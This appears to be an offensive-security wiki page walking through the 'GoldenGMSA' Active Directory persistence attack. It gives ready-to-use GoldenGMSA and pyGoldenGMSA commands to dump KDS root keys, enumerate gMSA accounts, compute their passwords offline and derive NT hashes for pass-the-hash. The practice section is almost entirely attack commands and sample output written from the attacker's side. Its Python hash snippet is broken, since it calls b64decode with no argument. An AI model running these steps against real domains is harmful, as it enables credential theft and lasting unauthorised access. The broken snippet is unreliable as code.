GoldenGMSA
Theory
What is a gMSA account?
Within an Active Directory environment, service accounts are often created and used by different applications. These accounts usually have a password that is rarely updated. To address this issue, it is possible to create Group Managed Service Accounts (gMSA), which are managed directly by AD, with a strong password and a regular password rotation.
The password of a gMSA account can legitimately be requested by authorized applications. In that case, an LDAP request is made to the domain controller, asking for the gMSA account's msDS-ManagedPassword attribute's value.
The "GoldenGMSA" persistence lies in the fact that the KDS root keys used for gMSA password calculation don't change (at least not without some admin intervention or custom automation). Once they are exfiltrated and saved, any gMSA account password can be calculated since the additional values needed can be obtained by any low-privileged user.
Practice
Obtaining persistence
Once an AD environment is compromised, acquiring the "GoldenGMSA" persistence requires to dump the KDS root keys.
::: tabs
=== Windows
The KDS (Key Distribution Service) root keys can be exfiltrated from the domain with high-privileged access with GoldenGMSA (C#).
Without the --forest argument, the forest root domain is queried, hence requiring Enterprise Admins or Domain Admins privileges in the forest root domain, or SYSTEM privileges on a forest root Domain Controller.
GoldenGMSA.exe kdsinfo
With the --forest argument specifying the target domain or forest, SYSTEM privileges are required on the corresponding domain or forest Domain Controller. In case a child domain is specified, the parent domain keys will be dumped as well.
GoldenGMSA.exe kdsinfo --forest child.lab.local
=== UNIX-like
pyGoldenGMSA (Python) implements the cryptographic pipeline in Python, enabling KDS root key extraction and gMSA password computation from Linux-based platforms without Windows-specific dependencies.
KDS root keys can be exfiltrated with high-privileged access. Multiple authentication methods are supported:
# Password authentication
python3 main.py -u "$USER@$DOMAIN" -p "$PASSWORD" -d $DOMAIN --dc-ip $DC_IP kdsinfo
# Pass-the-Hash authentication
python3 main.py -u "$USER" -d $DOMAIN --dc-ip $DC_IP --nt-hash $NT_HASH kdsinfo
# Pass-the-Ticket (Kerberos) authentication
python3 main.py -u "$USER" -d $DOMAIN --dc-ip $DC_IP --ccache admin.ccache kdsinfo
The dumped KDS root keys are printed in base64, and can be used for password calculation later on.
:::
Retrieving gMSA passwords
Later on, the attacker can then, with low-privileged access to the domain:
- dump some information relative to the gMSA account to retrieve the password for
- use those elements to calculate the gMSA password
Account information dump
::: tabs
=== Windows
In addition to the KDS root keys, the following information, relative to a gMSA, need to be dumped in order to compute its password:
- SID (Security IDentifier)
- RootKeyGuid: indicating what KDS root key to use
- Password ID: which rotates regularly
The information can be dumped with low-privilege access to AD with GoldenGMSA (C#).
GoldenGMSA.exe gmsainfo
In order to dump the necessary information of a single gMSA, its SID can be used as filter with the --sid argument.
GoldenGMSA.exe gmsainfo --sid "S-1-5-21-[...]1586295871-1112"
=== UNIX-like
pyGoldenGMSA can enumerate gMSA accounts and extract the required information (SID, RootKeyGuid, Password ID, and L0/L1/L2 indices) with low-privilege access:
# Enumerate all gMSA accounts
python3 main.py -u "$USER@$DOMAIN" -p "$PASSWORD" -d $DOMAIN --dc-ip $DC_IP gmsainfo
# Enumerate a specific gMSA by SID
python3 main.py -u "$USER@$DOMAIN" -p "$PASSWORD" -d $DOMAIN --dc-ip $DC_IP gmsainfo --sid "$GMSA_SID"
The tool outputs the account name, SID, root key GUID, and indices required for password computation.
:::
Password calculation
::: tabs
=== Windows
Given a gMSA SID, the corresponding KDS root key (matching the RootKeyGuid obtained beforehand), and the Password ID, the actual plaintext password can be calculated with GoldenGMSA (C#).
GoldenGMSA.exe compute --sid "S-1-5-21-[...]1586295871-1112" --kdskey "AQA[...]jG2/M=" --pwdid "AQAAAEtEU[...]gBsAGEAYgBzAAAA"
Since the password is randomly generated and is not intended to be used by real users with a keyboard (but instead by servers, programs, scripts, etc.) the password is very long, complex and can include non-printable characters. GoldenGMSA will output the password in base64.
In order to use the password, its MD4 (i.e. NT) hash can be calculated, for pass the hash.
import base64
import hashlib
b64 = input("Password Base64: ")
print("NT hash:", hashlib.new("md4", base64.b64decode()).hexdigest())
=== UNIX-like
pyGoldenGMSA can compute gMSA passwords either online (requiring network access to the DC) or offline (using previously dumped KDS root keys), making it particularly useful for persistence scenarios where the attacker may not have continuous access to the domain.
Online computation (automatically retrieves KDS root key and password ID from the DC):
python3 main.py -u "$USER@$DOMAIN" -p "$PASSWORD" -d $DOMAIN --dc-ip $DC_IP compute --sid $GMSA_SID
Offline computation (no network access required, using previously dumped KDS root key and password ID):
python3 main.py compute --sid $GMSA_SID --kdskey "AQAAAOlMCM5U37Qv...<base64>..." --pwdid "AQAAAEtEU0sC...<base64>..."
Unlike the Windows tool, pyGoldenGMSA outputs the NT hash directly in both NT-only format and nxc format, eliminating the need for manual hash conversion:
NT hash: 1c368c74ef1bcbd4892c95a8d6de0f30
LM:NT format: aad3b435b51404eeaad3b435b51404ee:1c368c74ef1bcbd4892c95a8d6de0f30
:::
Resources
https://github.com/Semperis/GoldenGMSA
https://github.com/felixbillieres/pyGoldenGMSA
https://www.semperis.com/blog/golden-gmsa-attack
https://www.trustedsec.com/blog/splunk-spl-queries-for-detecting-gmsa-attacks/